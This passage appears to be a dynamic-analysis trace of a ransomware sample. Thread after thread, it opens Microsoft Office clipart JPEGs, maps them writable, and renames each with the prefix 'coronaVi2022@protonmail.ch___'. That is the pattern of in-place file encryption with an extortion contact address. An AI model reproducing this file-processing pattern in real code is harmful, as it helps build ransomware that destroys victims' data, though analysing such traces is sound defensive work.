	[0095.585] CreateFileMappingA (hFile=0xc7c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dbb, lpName=0x0) returned 0xc80
	[0095.585] MapViewOfFile (hFileMappingObject=0xc80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0095.588] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0095.588] CloseHandle (hObject=0xc80) returned 1
	[0095.588] GetCurrentThreadId () returned 0x1a34
	[0095.588] FlushFileBuffers (hFile=0xc7c) returned 1
	[0095.592] CloseHandle (hObject=0xc7c) returned 1
	[0095.592] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099152.jpg") returned 97
	[0095.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099152.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099152.jpg")) returned 1
	[0095.593] free (_Block=0x51f0070) 
	[0095.593] RtlExitUserThread (Status=0x0) 

Thread:
	id = 625
	os_tid = 0x1a38

	[0095.595] _alloca_probe () returned 0x40328a
	[0095.596] GetCurrentThreadId () returned 0x1a38
	[0095.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg", dwFileAttributes=0x80) returned 1
	[0095.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc74
	[0095.596] GetFileSizeEx (in: hFile=0xc74, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6929) returned 1
	[0095.596] CreateFileMappingA (hFile=0xc74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b11, lpName=0x0) returned 0xc80
	[0095.596] MapViewOfFile (hFileMappingObject=0xc80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.598] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.599] CloseHandle (hObject=0xc80) returned 1
	[0095.599] GetCurrentThreadId () returned 0x1a38
	[0095.599] FlushFileBuffers (hFile=0xc74) returned 1
	[0095.605] CloseHandle (hObject=0xc74) returned 1
	[0095.606] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099154.jpg") returned 97
	[0095.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099154.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099154.jpg")) returned 1
	[0095.607] free (_Block=0x51f4090) 
	[0095.607] RtlExitUserThread (Status=0x0) 

Thread:
	id = 626
	os_tid = 0x1a3c

	[0095.608] _alloca_probe () returned 0x40328a
	[0095.609] GetCurrentThreadId () returned 0x1a3c
	[0095.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg", dwFileAttributes=0x80) returned 1
	[0095.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc80
	[0095.610] GetFileSizeEx (in: hFile=0xc80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8826) returned 1
	[0095.610] CreateFileMappingA (hFile=0xc80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2283, lpName=0x0) returned 0xc84
	[0095.610] MapViewOfFile (hFileMappingObject=0xc84, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.613] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.613] CloseHandle (hObject=0xc84) returned 1
	[0095.613] GetCurrentThreadId () returned 0x1a3c
	[0095.613] FlushFileBuffers (hFile=0xc80) returned 1
	[0095.617] CloseHandle (hObject=0xc80) returned 1
	[0095.617] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099155.jpg") returned 97
	[0095.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099155.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099155.jpg")) returned 1
	[0095.618] free (_Block=0x51f3088) 
	[0095.618] RtlExitUserThread (Status=0x0) 

Thread:
	id = 627
	os_tid = 0x1a40

	[0095.757] _alloca_probe () returned 0x40328a
	[0095.758] GetCurrentThreadId () returned 0x1a40
	[0095.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg", dwFileAttributes=0x80) returned 1
	[0095.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc84
	[0095.758] GetFileSizeEx (in: hFile=0xc84, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13954) returned 1
	[0095.758] CreateFileMappingA (hFile=0xc84, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3683, lpName=0x0) returned 0xc88
	[0095.758] MapViewOfFile (hFileMappingObject=0xc88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.762] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.762] CloseHandle (hObject=0xc88) returned 1
	[0095.762] GetCurrentThreadId () returned 0x1a40
	[0095.762] FlushFileBuffers (hFile=0xc84) returned 1
	[0095.764] CloseHandle (hObject=0xc84) returned 1
	[0095.764] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099156.jpg") returned 97
	[0095.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099156.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099156.jpg")) returned 1
	[0095.765] free (_Block=0x51f5098) 
	[0095.765] RtlExitUserThread (Status=0x0) 

Thread:
	id = 628
	os_tid = 0x1a44

	[0095.767] _alloca_probe () returned 0x40328a
	[0095.767] GetCurrentThreadId () returned 0x1a44
	[0095.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg", dwFileAttributes=0x80) returned 1
	[0095.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc88
	[0095.768] GetFileSizeEx (in: hFile=0xc88, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=9671) returned 1
	[0095.768] CreateFileMappingA (hFile=0xc88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25cd, lpName=0x0) returned 0xc8c
	[0095.768] MapViewOfFile (hFileMappingObject=0xc8c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.770] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.770] CloseHandle (hObject=0xc8c) returned 1
	[0095.770] GetCurrentThreadId () returned 0x1a44
	[0095.770] FlushFileBuffers (hFile=0xc88) returned 1
	[0095.773] CloseHandle (hObject=0xc88) returned 1
	[0095.773] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099157.jpg") returned 97
	[0095.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099157.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099157.jpg")) returned 1
	[0095.774] free (_Block=0x51f0070) 
	[0095.774] RtlExitUserThread (Status=0x0) 

Thread:
	id = 629
	os_tid = 0x1a48

	[0095.775] _alloca_probe () returned 0x40328a
	[0095.775] GetCurrentThreadId () returned 0x1a48
	[0095.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg", dwFileAttributes=0x80) returned 1
	[0095.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc88
	[0095.776] GetFileSizeEx (in: hFile=0xc88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15145) returned 1
	[0095.776] CreateFileMappingA (hFile=0xc88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b31, lpName=0x0) returned 0xc90
	[0095.776] MapViewOfFile (hFileMappingObject=0xc90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.779] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.779] CloseHandle (hObject=0xc90) returned 1
	[0095.779] GetCurrentThreadId () returned 0x1a48
	[0095.779] FlushFileBuffers (hFile=0xc88) returned 1
	[0095.782] CloseHandle (hObject=0xc88) returned 1
	[0095.782] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099160.jpg") returned 97
	[0095.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099160.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099160.jpg")) returned 1
	[0095.782] free (_Block=0x51f5098) 
	[0095.782] RtlExitUserThread (Status=0x0) 

Thread:
	id = 630
	os_tid = 0x1a4c

	[0095.783] _alloca_probe () returned 0x40328a
	[0095.784] GetCurrentThreadId () returned 0x1a4c
	[0095.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg", dwFileAttributes=0x80) returned 1
	[0095.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc90
	[0095.785] GetFileSizeEx (in: hFile=0xc90, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7154) returned 1
	[0095.785] CreateFileMappingA (hFile=0xc90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bf3, lpName=0x0) returned 0xc94
	[0095.785] MapViewOfFile (hFileMappingObject=0xc94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.788] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.788] CloseHandle (hObject=0xc94) returned 1
	[0095.788] GetCurrentThreadId () returned 0x1a4c
	[0095.788] FlushFileBuffers (hFile=0xc90) returned 1
	[0095.790] CloseHandle (hObject=0xc90) returned 1
	[0095.790] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099161.jpg") returned 97
	[0095.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099161.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099161.jpg")) returned 1
	[0095.791] free (_Block=0x51f3088) 
	[0095.791] RtlExitUserThread (Status=0x0) 

Thread:
	id = 631
	os_tid = 0x1a50

	[0095.882] _alloca_probe () returned 0x40328a
	[0095.883] GetCurrentThreadId () returned 0x1a50
	[0095.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg", dwFileAttributes=0x80) returned 1
	[0095.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc94
	[0095.883] GetFileSizeEx (in: hFile=0xc94, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=19656) returned 1
	[0095.883] CreateFileMappingA (hFile=0xc94, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ccf, lpName=0x0) returned 0xc98
	[0095.884] MapViewOfFile (hFileMappingObject=0xc98, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.888] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.888] CloseHandle (hObject=0xc98) returned 1
	[0095.888] GetCurrentThreadId () returned 0x1a50
	[0095.888] FlushFileBuffers (hFile=0xc94) returned 1
	[0095.893] CloseHandle (hObject=0xc94) returned 1
	[0095.893] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099162.jpg") returned 97
	[0095.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099162.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099162.jpg")) returned 1
	[0095.894] free (_Block=0x51f5098) 
	[0095.895] RtlExitUserThread (Status=0x0) 

Thread:
	id = 632
	os_tid = 0x1a54

	[0095.891] _alloca_probe () returned 0x40328a
	[0095.891] GetCurrentThreadId () returned 0x1a54
	[0095.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg", dwFileAttributes=0x80) returned 1
	[0095.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc9c
	[0095.893] GetFileSizeEx (in: hFile=0xc9c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=50490) returned 1
	[0095.893] CreateFileMappingA (hFile=0xc9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc543, lpName=0x0) returned 0xca0
	[0095.893] MapViewOfFile (hFileMappingObject=0xca0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.905] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.905] CloseHandle (hObject=0xca0) returned 1
	[0095.905] GetCurrentThreadId () returned 0x1a54
	[0095.905] FlushFileBuffers (hFile=0xc9c) returned 1
	[0095.909] CloseHandle (hObject=0xc9c) returned 1
	[0095.909] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099165.jpg") returned 97
	[0095.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099165.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099165.jpg")) returned 1
	[0095.910] free (_Block=0x51f3088) 
	[0095.910] RtlExitUserThread (Status=0x0) 

Thread:
	id = 633
	os_tid = 0x1a5c

	[0095.992] _alloca_probe () returned 0x40328a
	[0095.992] GetCurrentThreadId () returned 0x1a5c
	[0095.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg", dwFileAttributes=0x80) returned 1
	[0095.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xca0
	[0095.993] GetFileSizeEx (in: hFile=0xca0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=64767) returned 1
	[0095.993] CreateFileMappingA (hFile=0xca0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd0d, lpName=0x0) returned 0xc94
	[0095.995] MapViewOfFile (hFileMappingObject=0xc94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.010] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.010] CloseHandle (hObject=0xc94) returned 1
	[0096.010] GetCurrentThreadId () returned 0x1a5c
	[0096.010] FlushFileBuffers (hFile=0xca0) returned 1
	[0096.019] CloseHandle (hObject=0xca0) returned 1
	[0096.019] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099166.jpg") returned 97
	[0096.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099166.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099166.jpg")) returned 1
	[0096.020] free (_Block=0x51f4090) 
	[0096.020] RtlExitUserThread (Status=0x0) 

Thread:
	id = 634
	os_tid = 0x1a60

	[0096.003] _alloca_probe () returned 0x40328a
	[0096.003] GetCurrentThreadId () returned 0x1a60
	[0096.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg", dwFileAttributes=0x80) returned 1
	[0096.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc94
	[0096.012] GetFileSizeEx (in: hFile=0xc94, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=43949) returned 1
	[0096.012] CreateFileMappingA (hFile=0xc94, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xabb9, lpName=0x0) returned 0xca8
	[0096.012] MapViewOfFile (hFileMappingObject=0xca8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.023] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.023] CloseHandle (hObject=0xca8) returned 1
	[0096.023] GetCurrentThreadId () returned 0x1a60
	[0096.023] FlushFileBuffers (hFile=0xc94) returned 1
	[0096.025] CloseHandle (hObject=0xc94) returned 1
	[0096.025] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099167.jpg") returned 97
	[0096.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099167.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099167.jpg")) returned 1
	[0096.026] free (_Block=0x51f3088) 
	[0096.026] RtlExitUserThread (Status=0x0) 

Thread:
	id = 635
	os_tid = 0x1a64

	[0096.036] _alloca_probe () returned 0x40328a
	[0096.036] GetCurrentThreadId () returned 0x1a64
	[0096.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg", dwFileAttributes=0x80) returned 1
	[0096.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xca8
	[0096.037] GetFileSizeEx (in: hFile=0xca8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20179) returned 1
	[0096.037] CreateFileMappingA (hFile=0xca8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ed5, lpName=0x0) returned 0xca0
	[0096.037] MapViewOfFile (hFileMappingObject=0xca0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.042] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.042] CloseHandle (hObject=0xca0) returned 1
	[0096.042] GetCurrentThreadId () returned 0x1a64
	[0096.042] FlushFileBuffers (hFile=0xca8) returned 1
	[0096.044] CloseHandle (hObject=0xca8) returned 1
	[0096.044] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099168.jpg") returned 97
	[0096.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099168.jpg")) returned 1
	[0096.045] free (_Block=0x51f3088) 
	[0096.045] RtlExitUserThread (Status=0x0) 

Thread:
	id = 636
	os_tid = 0x1a68

	[0096.047] _alloca_probe () returned 0x40328a
	[0096.047] GetCurrentThreadId () returned 0x1a68
	[0096.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg", dwFileAttributes=0x80) returned 1
	[0096.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xca0
	[0096.049] GetFileSizeEx (in: hFile=0xca0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3282) returned 1
	[0096.049] CreateFileMappingA (hFile=0xca0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd3, lpName=0x0) returned 0xcac
	[0096.049] MapViewOfFile (hFileMappingObject=0xcac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.050] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.050] CloseHandle (hObject=0xcac) returned 1
	[0096.050] GetCurrentThreadId () returned 0x1a68
	[0096.050] FlushFileBuffers (hFile=0xca0) returned 1
	[0096.052] CloseHandle (hObject=0xca0) returned 1
	[0096.053] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099185.jpg") returned 97
